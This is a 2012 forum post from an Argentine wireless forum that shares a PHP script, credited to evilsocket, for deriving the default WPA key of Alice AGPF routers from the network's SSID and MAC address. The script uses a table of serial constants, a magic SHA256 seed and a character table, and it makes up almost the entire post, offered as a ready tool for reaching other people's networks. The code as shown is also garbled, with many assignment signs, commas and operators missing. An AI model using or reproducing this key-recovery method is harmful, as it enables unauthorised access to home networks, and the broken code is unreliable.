Arg-Wireless - El Primer Foro de Wireless de Argentina...

Zona Wireless General => Software => Software de Linux => Mensaje publicado por: D3M0N en 11 de Noviembre de 2012, 05:19:22 PM

Título: Alice AGPF WPA Discovery (Saber WPA redes Alice)
Publicado por: D3M0N en 11 de Noviembre de 2012, 05:19:22 PM
Con este Script podemos saber la Clave WPA por defecto de las redes Alice:

<?php
/***************************************************************************
 *   Alice AGPF WPA Discovery                                              *
 *   by evilsocket - evilsocket@gmail.com - http://www.evilsocket.net      *
 *   based on <http://wifiresearchers.wordpress.com/>                      *
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 *   You should have received a copy of the GNU General Public License     *
 *   along with this program; if not, write to the                         *
 *   Free Software Foundation, Inc.,                                       *
 *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *
 ***************************************************************************/

/*
 * Tabella per il calcolo del seriale.
 *
 * First SSID digits => ( SN1, k, Q )
 */
$SN_TABLE   = array( '96' => array( '69102'1396017051 ),
                     
'93' => array( '69101'1392398366 ),
                     
'56' => array( '67902'1354808800 ),
                     
'55' => array( '67904'8,  55164449 ),
                     
'54' => array( '67903'8,  52420689 ),
                     
'48' => array( '67903'8,  47896103 ),
                     
'46' => array( '67902'1339015145 ) );
/*
 * Numeri magici da utilizzare per il calcolo dell'SHA256.
 */
$ALIS       "\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8";
/*
 * Tabella di conversione da hash a wpa.
 */
$CONV_TABLE "0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuv".
              
"wxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123";
/* 
 * SSID della rete.
 */
$SSID       "Alice-96154825";
/*
 * MAC address del router.
 */
$MAC        "\x00\x23\x8E\x01\x02\x03";
/*
 * Calcolo il seriale in base al SSID e alla tabella dei valori noti.
 */
$SN         SSID2SN($SSID);
/*
 * Calcolo SHA256( MagicN + SN + MAC )
 */
$hash       SHA256$ALIS.$SN.$MAC );
/*
 * Converto la stringa dell'hash in un array di byte.
 */
$bytes      hash2bytes($hash);
/*
 * Trovo la WPA utilizzando i primi 24 byte dell'hash come indici della tabella di covnersione.
 */
$wpa   "";
for( 
$i 0$i 24$i++ ){
    
$wpa .= $CONV_TABLE$bytes[$i] ];
}

echo 
"WPA : $wpa\n";

/*
 * Funzione per risalire al seriale del router partendo dal suo SSID e utilizzando
 * le tabelle dei valori noti.
 */
function SSID2SN$ssid ){
    global 
$SN_TABLE;
    
/*
     * Prelevo il numero intero dall'SSID e ne prendo le prime due cifre
     * per verificare che il router sia presente nella tabella.
     */
    
preg_match_all"/^Alice\-([0-9]+)/"$ssid$m );

    
$ssidn $m[1][0];
    
$id    substr$ssidn0);

    if( isset( 
$SN_TABLE[$id] ) ){
        
/*
         * Ok, il router è presente nella tabella, prelevo la prima parte del seriale e
         * le costanti k e Q da utilizzare nell'equazione finale.
         */
        
$sn1 $SN_TABLE[$id][0];
        
$k   $SN_TABLE[$id][1];
        
$Q   $SN_TABLE[$id][2];
        
/*
         * La seconda parte del seriale equivale a :
         *      (SSID - Q) / k
         */
        
$sn2 = ((int)$ssidn $Q) / $k
        
/*
         * Restituisco il seriale completo.
         */
        
return $sn1.'X'.sprintf"%07s"$sn2 );
    }
    
/*
     * Router non presente nella tabella.
     */
    
else{
        die( 
"La serie 'Alice-$id******' non è presente nella tabella e non è supportata.\n" );
    }
}
/*
 * Funzione per il calcolo di un hash SHA256.
 */
function SHA256$phrase ){
    return 
bin2hexmhashMHASH_SHA256$phrase ) );
}
/*
 * Funzione per convertire un hash in un array di byte interi.
 */
function hash2bytes$hash ){
    
preg_match_all"/[a-f0-9]{2}/i"$hash$hash_bytes );
    
$bytes = array();
    foreach( 
$hash_bytes[0] as $byte ){
        
$bytes[] = hexdec($byte);
    }
    
    return 
$bytes;
}

?>